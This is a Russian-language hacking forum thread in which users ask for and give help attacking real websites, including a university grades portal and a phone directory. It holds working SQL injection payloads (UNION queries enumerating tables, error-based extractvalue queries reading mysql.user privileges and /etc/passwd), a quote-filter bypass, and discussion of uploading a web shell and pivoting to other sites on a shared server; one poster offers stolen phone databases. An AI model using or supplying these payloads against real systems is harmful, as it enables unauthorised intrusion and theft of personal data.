Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. assmaday

    assmaday New Member

    Joined:
    3 Feb 2013
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Подскажите пожалуйста.
    Конструкция такого вида как-то обходится, в плане внедрения SQL Inj:
    $r = str_replace('"','',str_replace("'","",$_GET['r'])); //[1]
    $sql = "SELECT `id` FROM `tbl_categories` WHERE `title`='".$r."'"; //[2]
    $result = mysql_query($sql,$con); //[3]

    Я так понимаю, на строке 1 все hex и соncat остаются строкой типа "CONCAT(CHAR(84),CHAR(114),... и т.д или 0x5472616e6365
    Тоесть во вторую строку не подсунуть " union ???
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    localhost
     
    _________________________
  3. kostea

    kostea New Member

    Joined:
    23 Dec 2015
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Ну я так и зделал невкакую нехочет может минутка наидется?
     
  4. Heartofprogrammer

    Heartofprogrammer New Member

    Joined:
    5 Jan 2016
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Что можно сделать с этим http://avn.kstu.kg
    Этот сайт предназначен для нашего университета. Там вся информация успеваемости студентов (Баллы, зачеты и т.д)
    Хотел бы сделать с этим сайтом что-то, но не знаю что с ним можно сделать?
    Для примера возьмем эту http://avn.kstu.kg/ReportServer/Pages/ReportViewer.aspx?/VUZ/s_f21_2&rs:Command=Render где описано ФИО студентов и ихние баллы.
     
  5. R3hab

    R3hab Member

    Joined:
    17 May 2015
    Messages:
    117
    Likes Received:
    9
    Reputations:
    6
    http://www.fofv.org/page.php?id=2


    подскажите в какую сторону копать?
     
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    нульбайт или альтернатива, все обычно
     
    _________________________
  7. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    677
    Reputations:
    333
    садись, два
     
    randman, R3hab and yarbabin like this.
  8. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    пропустил, что 5.3, спасибо l1ght :)
    тогда вариантов, кроме как создать файл во внедоступной снаружи папке или неисполняемый, или через соседей - нет
     
    _________________________
    R3hab likes this.
  9. ArmusIAm

    ArmusIAm New Member

    Joined:
    8 Jan 2016
    Messages:
    33
    Likes Received:
    2
    Reputations:
    0
    Добрый вечер господа!

    Буду признателен, если сможете мне подсказать.

    Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.
    Строка запроса получается так выглядит: /filename?fio=fio&telefon=123
    Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:
    Bad SQL-query:
    SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10
    Mistake

    Пытаюсь раскрутить стандартным образом:
    /filename?fio=fio&telefon=123%27+order+by+1--
    В ответ получаю следующее:
    Bad SQL-query:
    SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10
    Mistake


    Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.
    Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:
    /filename?fio=&telefon=955448%27+union+select+1,2,3+union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

    Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.
    Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.

    Но при составлении следующего запроса:
    /filename?fio=&telefon=955448%27+union+select+table_name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

    Получаю следующее:
    По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос. Mistake

    Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.

    Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:
    /filename?fio=&telefon=955448%27+union+select+table_name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1+union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

    По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:
    По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос. Mistake

    Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?

    п.с.
    К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой


    Коллеги, заранее благодарен!!)
     
  10. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    915
    Likes Received:
    120
    Reputations:
    25
    попробуйте через erro based вектор, и вытягивать поштучно. что получается7
     
    ArmusIAm likes this.
  11. ArmusIAm

    ArmusIAm New Member

    Joined:
    8 Jan 2016
    Messages:
    33
    Likes Received:
    2
    Reputations:
    0
    Спасибо, сегодня попробую, отпишусь.


    Пользуясь случаем еще один вопрос задам.

    Есть сайт, простенький, СУБД PostgreSQL. На сервере еще 4 сайта, к которым и есть основной интерес. Сайт дырявый капец, SQL инъекция на инъекции. Но вот в чем проблема, какой то толковой админки не нашел, залить шелл через инъекцию не получается я так понимаю (сам код в БД вносит, но файл создавать не хочет, выдает ошибку). Собственно совсем отчаялся, всю БД прошерстил, ничего интересного, шелл не залить (только картинкой, но локального инклуда нет, залить .htaccess тоже не получается). Подскажите, а возможно как то в ходе инъекции сделать запрос в другую БД на сервере? Понятно, что это зависит от прав пользователя, не понимаю как сам запрос в таком случае составить.
     
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    версия PSQL какая?
     
    _________________________
    ArmusIAm likes this.
  13. ArmusIAm

    ArmusIAm New Member

    Joined:
    8 Jan 2016
    Messages:
    33
    Likes Received:
    2
    Reputations:
    0
    PostgreSQL 9.1.16 on x86_64-unknown-linux-gnu, compiled by gcc-4.7.real (Debian 4.7.2-5) 4.7.2, 64-bit
     
  14. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    677
    Reputations:
    333
    ArmusIAm, отвечая на вопрос, один результат тебе дает первый query "955448' " и сотни последний " LIKE '%' "
    можно конечно и дальше шаманить с длинными или сложными запросами (1=0, error-based, blind, ;%00)
    только в твоем случае все гораздо проще
    цитата с документации
     
    ArmusIAm likes this.
  15. BlitzXX

    BlitzXX New Member

    Joined:
    5 Dec 2015
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    <input type="text" value="XSS">
    Фильтруется только ковычка ( " )
    Возможно ?
     
  16. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    609
    Reputations:
    1,101
    Только если вы контролируете два поля подряд, sql_mode дефолтный и magic_quote = off.

    Field_1 =
    test\
    Field_2 = UNION SELECT ... --
    Нет, это необходимая и достаточная фильтрация.
     
  17. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    всем привет . помогите человеки добрые
    'or
    extractvalue(0x0a,concat(0x0a,(select user())))and'#
    как проверить права юзера
    'or
    extractvalue(0x0a,concat(0x0a,(select file_priv))) from+mysql.user and'# даёт ошибку синтекса.

    extractvalue(0x0a,concat(0x0a,(select load_file('/etc/passwd'))))and'
    Method Not Implemented
    GET to /view_cat.php not supported.
    могу сайт кинуть. Хочецо научицо . а то sqlХРАП как слепые крутит
     
  18. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    Code:
    'or(extractvalue(1,concat(0x3a,(select(file_priv)from(mysql.user)where(user='BabaDook')limit+0,1))))and'
     
    _________________________
    Found and BabaDook like this.
  19. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    Спасибо.
     
  20. nik1201

    nik1201 New Member

    Joined:
    12 Jul 2015
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    Подскажите что можно сделать с этим? когда я вместо ника пишу <?php phpinfo(); ?>
    Вот ошибка
    SQL: INSERT INTO pre_ucenter_members(uid,username,password,email,myid,myidkey,regip,regdate,lastloginip,lastlogintime,salt,secques) VALUES (28472, '<?php phpinfo(); ?> ', '000', 'none', '', '', '', 1452657744, '0', '0', '111', '')
    Error: Duplicate entry ' Errno.: 1062

    Там кстати вместо ника если хоть что напишешь,то код вместо ника выполнятся будет,можно что бы простая кнопка была вместо ника)))
     
    #1000 nik1201, 13 Jan 2016
    Last edited: 13 Jan 2016
Loading...